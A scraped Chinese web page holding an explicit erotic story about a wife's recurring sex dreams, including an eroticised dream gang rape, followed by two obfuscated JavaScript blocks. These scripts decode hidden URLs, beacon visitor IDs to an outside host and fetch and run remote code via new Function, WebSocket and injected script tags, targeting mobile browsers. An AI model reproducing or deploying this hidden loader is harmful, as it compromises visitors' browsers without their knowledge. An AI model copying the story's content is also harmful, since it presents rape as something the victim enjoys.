图片载入中

少妇的温存

特大字】 【大字】 【中字】 【小字

下了班回到家里,普通的一个晚上很快过去,今天老公没有再和我温存,毕竟连续两天的狂野也让他消耗了不少的力气。

躺在被子里,我很想马上睡着,很想知道我是否还能接上那个梦,可是越是急躁反而越无法成眠,眼睁睁看着表走过了一点钟的位置,我才隐约感到一点点的困意。

身子一轻,如同从梦魇中惊醒,我忽然发觉自己已经站在了酒吧的门前。 原来这个梦真的能够一直做下去,我忽然觉得十分开心。

没有分毫的犹豫,我甚至都忘了昨晚要敲门的想法,伸出手直接推开门走了进去。

酒吧里面很昏暗,跟现实中的酒吧气氛并没有太大的不同,简单的桌椅摆在大厅里,空荡荡的一个客人也没有,我抬眼环顾着周围,最后终于看清楚吧台后面有个隐隐约约的身影在晃动。

反正是我的梦,我给自己打着气,鼓起勇气走到吧台前坐到了椅子上,对着那个人影说了句:“你好!”

“你好!”对方的回答让我悬着的心放了下来,那是很柔和的男性的声音,我曾听说梦里不会听到什么,可是这个声音分明就在我的耳边响起。

伴着这个充满磁性的嗓音,那个身影慢慢从黑暗中走到了我的面前,我看不清他穿着什么,只看到一张男人带着笑容的脸,然后我听到他又对我说道:“你终于来了,我还怕等不到你呢!”

“你在等我?”他的话让我有些吃惊,看着这个从未谋面的男人,我猛然觉得格外的亲切,似乎他就是我这一辈子都在等待的人,可是,这明明是我第一次见到他。

他的模样并不很帅,眼角眉梢好像跟我的老公杜辉有些神似,不过最令我注目的是他左侧眉毛上的一块伤疤,那是一条浅浅的疤痕,男人说话的时候那条伤疤向上翘了翘,看起来好像一弯新月。

“是的,我等了你很久。”男人把刚才那句话换了个方式又说了一遍。 “你认识我?”我呆呆地看着他,我觉得自己好像一下子就爱上了这个男人。 然后我就想到了杜辉,爱上老公之外的男人,而且还是第一次见面的男人这种感觉让我觉得有些内疚,即使我知道这只是个梦。

“嗯。”男人点着头,我希望他继续说下去,可是他没有。

“你是谁?你叫什么名字?你怎么会认识我?你为什么会出现在我的梦里?”我一连问了四个为什么。

“老公都不认识了?你睡迷煳了?”我听到男人大声对我说,身子一激灵,看到杜辉正在瞪着我的眼睛。

“啥?”看来我又醒了。

“都什么时候了,还说梦话。”老公叹了口气,“起床吧,小迷煳。” “噢……”我坐起来揉着眼睛,“我说什么了?”

“你问我是谁!”老公撇着嘴笑了起来,“你说我是谁?”

“你呀!”我抱着老公亲了一口,“你是我的亲亲老公!”

“对了。”老公起床开始穿衣服,“你别忘了,我今天要出门,晚上别做我的饭了。”

“知道。”我跟在老公身后,“早点儿回来。”

“放心吧,最晚一个星期,等我回来就休假,这两天你选选地方,咱们出去玩。”杜辉拿出行李箱开始整理东西。

“好耶!”我在地上跳了起来,“那我今天就去跟表哥说请年假的事儿!” 如往常一样送走老公,我到了公司跟表哥吴涛说我下周要休假,他唠唠叨叨地训了我小半天,不过最后还是同意了我的申请。

晚上回到家,一个人吃了饭锁好门躺在床上,换做过往我一定会给老公发短信缠他,可是今天我却没有那个心思,因为我一直惦记着梦里的那个男人,我很想知道今晚他会不会告诉我他究竟是谁。

我差不多已经认定了我的梦还会继续做下去。

“你一定很想知道我是谁吧?”飘渺的声音在耳边响起,看到男人的脸和他眉上的那道疤,我才知道自己竟在不知不觉中入了眠。

“嗯。”我点点头,“你叫什么名字?”

“名字?”男人看着我,他的表情说明他说的是真话,“我不知道自己叫什么……你可以叫我小辉。”

“小辉?好奇怪的名字……那你为什么在这里等我呢?”我的声音在无人的酒吧里回荡着。

“等你来爱我。”男人说着走出了吧台。

他的动作很轻盈,我竟然没有看到他是如何走出来的。

“什么意……”我的“思”字还没有说出口,男人已经从后面抱住了我。 这个时候我才发现自己的身上并没有穿着衣服,然后一种微凉的感觉便从我光着的脚丫儿传了上来。

莫非我在面对这个男人的时候始终都是这个样子?

脸有些发热,并不单单因为我此刻的一丝不挂,被一个陌生的男人抱在怀里,这种事儿即便是在梦里仍然让我羞愧的抬不起头来。

可是我却没有挣脱小辉的怀抱,不知为何,我觉得在这个男人的怀里有一种无法言说的踏实感。

小辉拥抱了我很久,他的身躯贴着我的肌肤,如同我没有注意到自己之前的裸体一样,我也是在这一刻才发现他的身体也跟我一样的赤裸,他的胸膛很宽阔,手臂很结实,而且……

我觉得自己的两腿之间正有一根热乎乎的东西在寻找着进入我身体的入口。 “你不能……”我喘息着想要推开小辉。

他没有说话,而是放开了我的身子,我想可能是我的拒绝起了作用吧? 趴在吧台旁边,我把后背不设防地留给了这个梦中的男人,虽然说了不能,可是我却分明感到了自己心里的期待,我知道如果他再来拥抱我的话,我一定不会再拒绝他。

“我想跟你在一起。”不知过了多久,男人的声音在我的身后响起,言语中有些怯怯的感觉。

“我也想……”这句话几乎没有经过大脑就冲出了我的嘴巴,我记得和杜辉热恋的时候我也说过相同的话,可这一次我却对一个梦里刚刚相识的男人说了出来。

话说出口,男人火热的嘴唇便忽然落在了我的勃颈上,然后沿着我的裸背一路吻了下去。

这次我没有再拒绝小辉,甚至在他吻在我阴部的时候我也没有躲避,男人的嘴唇和我的阴唇纠缠在一起,一种迫切的渴望让我觉得这一天我好像等待了很久很久。

小辉的舌尖离开我身子的时候,我觉得下体有些凉凉的感觉,我分不清那是因为他的唾液还是我的蜜汁。

不过我可以肯定的是,我现在想要这个男人的所有,我想要他进入我的身体,用他男人的东西填满我已经湿润的柔嫩洞穴。

和我所想的一样,刚才那根在我腿间摩擦过的肉棒再一次回到本应属于它的入口,而当男人的龟头闯进我身子的那一刻,小辉的双手也从后面环绕过来握住了我的乳房。

他手指上的皮肤如同婴儿一般的细腻,把我的两个乳房完全罩在当中轻轻拿捏着,他的肉棒进入我的力道很轻柔,似乎生怕一不小心弄疼我一样。

我很享受这种感觉,这是我第一次和老公以外的男人做爱,然而心里却没有一丝不安,似乎我现在所做的事情完全是理所当然的,当小辉的阴茎整根没入到我的小穴里时,我垂着头轻轻哼了一声。

小辉并没有急于在我体内抽插,他的双手还在揉搓着我的乳房,手臂却箍紧了我的身子,令我丝毫动弹不得,他的肉棒好像正在我的阴道里继续膨胀,那种被完全撑满的感觉让我的四肢百骸充盈着前所未有的快感。

“我爱你……”男人的声音又在我耳边回响起来,我听到自己用梦呓般的声音回应着他:“我也爱你……”

“我想永远陪着你。”小辉还是贴着我的耳朵,“不要离开我……”

“是的。”我侧过头亲吻着他的脸庞,“我也要你……”

我不知道自己为什么会说出这种话,是因为对小辉的熟悉感还是因为他插进我体内的那根阴茎?我弄不清楚,也不想弄清楚,这个时候我只想要他继续进犯我的身子,把我彻底的征服。

应该是我的媚态刺激了他,小辉放开我的乳房,双手移动到我的腰肢上,把我的腰牢牢固定在他的身前,然后他的肉棒便开始一进一退地在我的阴道里抽插起来。

我用手臂把自己的上半身撑在吧台上,低下头的时候,看到自己的乳房随着男人的动作前后摇摆着,像两只跃动的小兔子。

性爱的快感从阴道里随着男人抽插速度的加快越来越强烈,没过一会儿便像火焰一般吞噬了我的整个身躯,如同一场持久的战斗,我的身子随着时间的流逝变得异常火热,不断抬起屁股迎接着小辉的冲撞,意识也跟着他的不停抽插变得越来越模煳,直到他的身体猛地向前一冲,我赤裸的身体一下子被便被顶到了吧台下面的木板上,然后身体里面忽然一热,那是男人喷射出来的精液灌溉在我花心上的独特感受。

“啊!”我叫了一声,腾地坐了起来,窗外的阳光透过窗帘射进房间,我居然在梦里的高潮来临的同时醒了过来。

“真是的……”我小声嘀咕了一句。

必须承认,我还在贪恋着刚才的感觉,这样子清醒过来多少让我觉得有些失落,但是我马上就发现床单上染上了一片新的水渍,双腿间也布满着晶莹的粘稠液体。

这就是所谓的春梦吗?

起床的时候我嘲笑着自己怎么会做了这么一个淫荡而奇怪的梦,但是我现在真的很想回到梦境中去,我想和小辉的身体再一次合二为一,我喜欢他带给我的那种感觉。

也许是因为这个梦真的很让我愉快,我一整天都露着笑脸,何馨问我遇到什么高兴的事儿的时候我没有理会她,这种事怎么能跟别人说!

下班回家,我吃完饭就洗澡上了床,如果我的梦仍然可以继续,我还要跟梦里的小辉做爱,我必须赶快睡着。

一切都和我的期待一样,我的梦果然和昨晚连接在了一起,这次我没有了任何的犹豫,在看见小辉那张脸的时候我就第一时间冲上去拥抱了他。

小辉对我的反应显得很高兴,尤其是当我像一头发情的母兽把他按着躺在地上的时候,我骑在小辉的身上,甚至不等自己的淫液流出来就把小辉的肉棒坐进了我的小穴里。

干涩的阴道一下子被撕开,火辣辣的感受让我愈发狂野,我用双手按着小辉的胸膛,上下耸动着自己柔软的身子,直到他又一次在我的体内射了出来。 但令我遗憾的是我这次仍然是在高潮的同时醒了过来,躺在被窝里,我抚摸着自己由于兴奋而变得发红的肌肤,感觉到一丝液体正从我的肉洞里汩汩泌出,想起梦里小辉的脸庞,我的心仿佛一下子融化开来。

梦里的我已经不能再离开他了。

“绣绣……”午休的时候何馨看着我的脸,“你这两天好像变漂亮了,有什么好事吧?还是换了新的化妆品?”

“哪有!”我瞪了她一眼,没好气地说道,“多睡觉就是了,你看看你,别没事儿总泡夜店,眼睛都快成熊猫了……”

下午去洗手间的时候,我在镜子里端详着自己的模样,何馨说得没错,我今天的气色特别的好,脸上的肌肤白里透粉,好像回到了还是少女的那个时代,真是开心。

结束了一天的工作,我一路狂飙着回了家,但和前一天不同,我在梦里推开小辉的门的时候,嗅到了一种淡淡的忧伤的味道。

“怎么了?”我赤裸着身子站在小辉面前,忽然觉得有些害怕。

他抬起头看着我,眼中流露出一丝不安的神色,用很小的声音对我说道:“我怕以后不能再和你在一起了……”

“为什么?”我觉得自己好像踩在冰面上,身子开始发抖。

“我自己做不到……”小辉这句话好像是说给他自己听的。

“什么意思?”我追问着。

小辉摇了摇头,对我笑了笑,他眉上的疤痕还是像新月一弯:“我想我们该说再见了。”

“我不要!”我喊了起来,“我要永远跟你在一起!”

“我……也想。”他还是摇着头,“可是,我……”

“你一定还有什么办法的!”我拉着他的胳膊摇晃着,“是不是?你告诉我!” “这……”小辉看着我的眼睛,“是有个法子,可是……我不想……不行……”

“你说!”我瞪着小辉,“什么办法?只要能和你在一起我什么都愿意做!” 我说的是我的心里话,只要能跟小辉继续在一起,我宁愿永远都不要醒过来。 “一个很残忍的办法。”小辉低下头,“我不能让你……”

“你说!”我觉得我可能已经把他的手臂握疼了。

“你真的愿意为我做任何事?”小辉抚摸着我的长发,“那……明天十二点之前来找我,我等你到那个时候,如果你改变主意了,我也不会怪你……” 这个夜里,我在梦中和小辉紧紧拥抱着,我不知道明天等待我的是什么,但我知道自己一定会准时赴约,对我来说,小辉已经成了我的命,如果没有他我不知道自己是不是还能够活下去。

早上我醒来的时候发觉到自己的脸上有两行泪痕,真是个伤感的梦,不过梦中的执着似乎并没有我说出那些话时影响那么大,白天老公打来电话说明天就要回来,我当然很高兴,相对于梦中的缠绵,我当然还是更想和老公贴近在一起。 忙碌的白天之后,夜晚如约而至,我靠在床头不知该不该入眠,事实上我也觉得这个梦过于诡异,若不是我不信鬼神,我恐怕会认为自己撞了什么不干净的东西,但梦里的小辉的容颜又让我无论如何也不愿意往不好的地方去想,我看着窗外黑漆漆的夜空,终于移动着身子蜷缩进被子里。

我想知道这个梦的结局,就算是个悲剧,我也想知道。

又一次赤身站在河边,我走过石桥看到小辉门前的灯光,这一次他站在了门口,看见我到来似乎很高兴,可笑容里还是埋藏着某种不安:“你还是来了?” “嗯。”我点点头,在梦里我爱小辉爱得发狂。

“绣绣……”他第一次叫了我的名字,“如果你走进去,就要完全按照我说的做,要不然……我不想你有危险。”

“好的。”我说着吻了小辉。

然而当我推开门的时候,惊恐的表情还是瞬间便爬上了我的脸,房间的正当中,原本分开的桌子被拼接在了一起,看去好像一张床,床的两边黑压压地挤满了很多男人,我看不见他们的脸,那些脸似乎被烟雾笼罩着一样模煳,但他们的眼睛却在我开门的时候一起看了过来,那些眼睛好像荒野中的狼群般让人望而生畏。

我在睡着前曾想过自己会面对什么,可我没想到会是这样,在这么多男人面前赤裸身体,接下来会发生什么我就算是个傻子也能想的到。

“我……”站在门口,我不敢再移动一步。

房门在身后轰然关闭,我感到小辉从后面抱住了我,我听到他的声音在对我说:“放松……很快……很快就没事了……”

“可……”我的身子已经在发抖。

“我会永远跟你在一起的……”小辉说着从后面托起了我的乳房。

不过是个梦,我这样安慰着自己,我不会受到什么伤害,这样想着,精神似乎没有了刚才那么紧张,正想再说什么,小辉忽然把我抱了起来。

我用手臂揽着他的脖子,小辉抱着我从人群里走过,然后把我慢慢放到拼好的桌子上。

桌面有些凉,我的身子不由自主地抽动了一下。

周围的人群还是很安静地站立着,仿佛他们根本不存在一样,正想偷眼去瞄,小辉忽然像变戏法似的从手里拿出一个宽宽的布条盖在了我的眼睛上。

他的手依旧温柔,令我无法拒绝,直到他把我的双眼完全遮盖住,然后把布条系紧在了我的脑后。

“张嘴……”他的声音再次响起,我其实很想问我会面对什么,可是还是没有问出口,我张嘴的时候,一块很柔软的东西塞进了我的嘴里。

接下来我的手臂被向两边拉开,丝绸般的绳状物缠绕住了我的手腕,我动了动胳膊,发觉自己的双手已经被牢牢地系在了桌上。

小辉打开我的双腿时,我吸了口凉气,既然决定接受了他的安排,我就没有反悔的意思,他把我的双腿绑在桌子上的时候,我感觉自己的屁股和桌沿正好齐平。

以我此刻的状态,任何一个男人,只要他愿意,他就可以轻易地闯进我的身体,我是一只任人宰割的羔羊。

“不要怕……”小辉来到桌子的另一边,我头部的位置,对我轻声说道,“很快就会完事儿……”

我说不出话,只能微微点了点头。

然后我就感到无数只手一起落到了我赤裸的躯体上,在我的脸上、脖子、乳房、小腹、双腿……还有我的隐秘部位抚摸着,拉扯着,刚才还下定的决心就在这一刻变得无影无踪,我用力挣扎着身子,可是无济于事,即便没有那些绑缚我的绳子,只是这些男人的手也足以按得我无法起身。

男人们粗擦的手摩擦得我的肌肤有些疼,我开始害怕起来,尤其是当一根肉棒抵在我阴道口上的时候。

我不清楚自己有没有分泌出淫液,但那根肉棒似乎毫不费力地就插进了我的小穴里,这个男人远没有杜辉或者小辉那么温柔,他几乎没有任何停顿就开始在我的阴道里抽插,肉棒顶端的硕大龟头剐蹭过我阴道壁上的嫩肉,连续捣在我的子宫口上,弄得我的身子一阵酥麻,还有被粗暴对待的刺痛也从我的下体清晰地传导了过来。

这会儿我真的后悔了。

男人的抽插还在继续,身上抚摸我的手也没有减少,我觉得自己的鼻息越来越重,身体开始向上弯曲,抓不住任何物体的双手在半空中连续收紧张开,直到男人把他的精液射进我的身体,我的后背才重新贴回到桌面上。

桌面已经变得湿滑,那可能是我的汗水,这种强暴一般的性交让我在几分钟内便已经筋疲力竭。

可是我知道今晚的事情还没有结束,我甚至感到自己刚被蹂躏过的肉洞还没有完全闭合就被另一根肉棒再次撑开,接下来又是一阵猛烈的抽插,心里虽然还在抗拒,但身子已经难以做出拒绝的反应,除此之外,我忽然觉得一丝丝快感似乎正在从身体中心浮现出来。

这就是女人身体的本能吗?

第二次被精液注入,我感觉自己好像并非完全不能接受这种被轮奸的事实,尤其是当我的小腹开始不由自主地翻滚起来的时候,当第三根阴茎插入我的阴道的那一刻,我觉得自己好像快要高潮了。

我的预感没错,在这根肉棒接触到我花心的瞬间,我感觉一股热流从自己的阴道里喷涌了出来,全身的所有细胞似乎都一起跃动起来,我就这样在被不知多少男人抚摸按揉的淫靡场合下达到了高潮,而此刻我紧致的阴道里仍然夹着一个不知名的男人的硕大阴茎。

我的高潮还在持续,身子里男人的肉棒已经射了出来,他拔出阴茎时我觉得下体有一阵强烈的空虚感,我已经迫不及待地希望另一根肉棒再次撕裂我的身子,抚慰我不知为何变得如此饥渴的肉体。

如我所愿,肉棒再次滑进我的阴道里,一根,又一个,我不知道自己的高潮持续了多久,或者说自己经历了几次高潮,不断泌出的汗水早就浸透了我全身,下体逐渐变得没有知觉,我不知道自己还会不会有淫液可以流淌,不过就算阴道不再敏感,我想那些之前注入我身体里的精液也足够让后来的男人们可以轻而易举地进入了吧。

躺在桌子上,我的身子像个面团一样的瘫软,肉棒一根接一根插进我的阴道,又在一番冲刺射精之后一根接一根地离开,我的脑子里早已没了任何想法,唯一的念头是我会不会就这样死去。

很久很久,也许有一辈子那么久,身上男人们的手忽然一起消失了,然后一根阴茎慢慢分开我的阴唇,我听到小辉熟悉的声音:“是我……”

明明已经快要没有知觉,可是他的声音传入耳朵,我忽然感到一阵猛烈的快感,软绵绵的身子竟然在他的肉棒进入到我阴道的同时又一次达到了高潮,纵然看不到他的脸,我也知道小辉正在望着我,我用尽最后的力气收紧小穴夹紧了他的肉棒。

他的动作很轻柔,仿佛我是一件易碎的玻璃品,他一边在我的阴道里抽插,一边俯下身吻着我的乳房,当他射精的时候,我的阴道有力地绷紧,大脑似乎一下子充了血般变得一片空白,我的意识就如我此刻的身体一样慢慢地堕进了无边的黑暗之中。

我最后听到的是小辉的声音:“我保证,我会永远陪着你的……我爱你……”

在床上惊醒,我茫然回忆着梦中的景象,那种真实感令我手足无措,走到卫生间坐到马桶上,小便的时候觉得有些疼,低头看了看自己的下体,我的阴部肿胀得像一个馒头,然后我就看到白浊的液体从我的阴道里滴落了出来。

“天呐!”我叫了一声,脑子一阵轰鸣,不过当我绷紧神经再次望向自己的下身,除了依旧红肿的阴部并没有刚才看到的什么白色液体流淌出来,看来我真的是出现错觉了,只是卫生间里为何会忽然充满男人精液特有的那种刺鼻的味道? 出了卫生间整理好床铺,我今天没有再去上班,因为要在家等待老公的归来,下午三点多,老公跟他说的一样敲开了家门,收拾好东西之后,我们去外面吃了顿饭,晚上钻进被子里的时候老公拥抱了我。

“想要?”我把手伸向老公的腿间。

其实我完全没有做爱的想法,我的阴部的肿胀还没有消除,这样子做爱的话……不过为什么不能?

可是当我碰到老公肉棒的时候他忽然咧着嘴叫了声“疼”,我连忙撩起被子,这才发现老公的整根阴茎都在发红,似乎跟我的阴部一样肿着。

“怎么回事?”我看着老公。

“我……”老公摇了摇头,对我一阵苦笑。

“你在外面干什么了!”我瞪着老公的眼睛,“不是去干什么缺德事儿了吧?” “我哪敢?”老公的眼神看来并不像在说谎。

“那这是怎么回事?”我指着他的阴茎又问了一句。

老公还是一副不想说的样子,不过在我的要死要活的软磨硬泡之下还是对我说了实情。

老公对我说他出差的前两天每天都能梦见自己和我做爱,然后就在回来的前一天,他做了一个更为奇怪的梦。

他说他梦到自己变成一个幽灵,漂浮在一个房间的天花板上,他看到一个蒙着眼睛的女人被绑住房间里,很多男人一个又一个地奸淫那个女人,更令他不解的是,每当一个男人快要射精的时候他就会觉得自己的精液从阴茎里流出来渗进那个被轮奸的女人的身体里,然后等他醒来的时候就发现自己的阴茎肿了起来。 讲完这个梦之后老公挠着头自言自语道:“幽灵怎么还会射精?对了,那个女人……我看身材怎么那么像你?”

“去死吧你!想什么呢?缺德!”我骂了老公一句。

解释不了老公的这个疑问,事实上我觉得这整件事都未免太不可思议了,尽管直觉告诉我老公梦里被轮奸的女人就是我,但我还是没敢对老公说,如果今晚还会入梦,我一定要跟小辉问个清楚。

但我这一夜没有再做梦。

第二天我拉着老公去检查了一下身体,除了肾虚他并没有其他毛病,我也给自己做了一次体检,没有异常,我是个健康的女人。

但从此之后我都没有再做过那个梦,也没有再在梦中遇到过小辉,对此我虽然感到些许失落,不过过了两天便把这件事完全抛在了脑后,毕竟那只是个梦而已。

又过了几天,我看着日历发现自己的月事没有正常到来,再次到医院检查之后医生告诉我我已经怀了孕。

对于我怀孕这件事,老公十分高兴,于是我们开始准备婴儿用的东西,原本就宠着我的老公这回更是把我当个宝贝一样地保护起来,生怕我有丝毫的磕碰。 十月怀胎,我正常地分娩了一个健康的男孩,看着孩子一天天活蹦乱跳地长大,我和老公都开心得不得了。

儿子七岁的那年,我因为公事出了趟远门,到了目的地的第二天晚上,给老公打电话的时候老公怯生生地告诉我儿子今天出去玩的时候撞破了头,然后马上安慰我说没什么大事,就是可能会留下疤,不过医生也说了不一定。

我在电话里狠狠地把老公骂了一顿,让男人带孩子还真是无法令人安心,可虽然我心急如焚想要马上看到儿子伤成了什么样,但我来的这个该死的地方居然连网络都没有,那种只有当妈妈的才会知道的急切心情就这样一直伴随了我的整个出差旅程。

回到家的那天儿子又跑出去玩了,我在家里坐立不安地等了一个多小时这小祖宗才推门跑了进来,一身的灰土,好像在什么地方滚过一样。

“妈!”儿子看到我便一下子扑到了我的怀里。

抱着儿子亲热了半天,我扳着儿子的肩膀:“你爸说你受伤了,快让妈看看!” “没事儿!”儿子像个小大人一样扬起脖子,“我是男孩,不怕疼!” “可是妈心疼啊,快让妈看看。”我盯着儿子的脸。

“噢,好吧,那就让你看看。”儿子说着把头上的帽子摘了下来,指着眉毛上的地方,“看,就是这儿,没事儿,妈,你别心疼……”

我顺着儿子的手指望去,只见他左侧眉毛上的位置有一条浅浅的疤痕。 “已经好了,没事儿啦,妈。”儿子说着对我笑了笑。

儿子笑起来的时候嘴角牵动着额头动了动,那条伤疤也随之向上翘了翘,看起来竟似弯弯的一眉新月……


上一篇:少妇奸情的泄露

下一篇:楼上的阿姐


function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};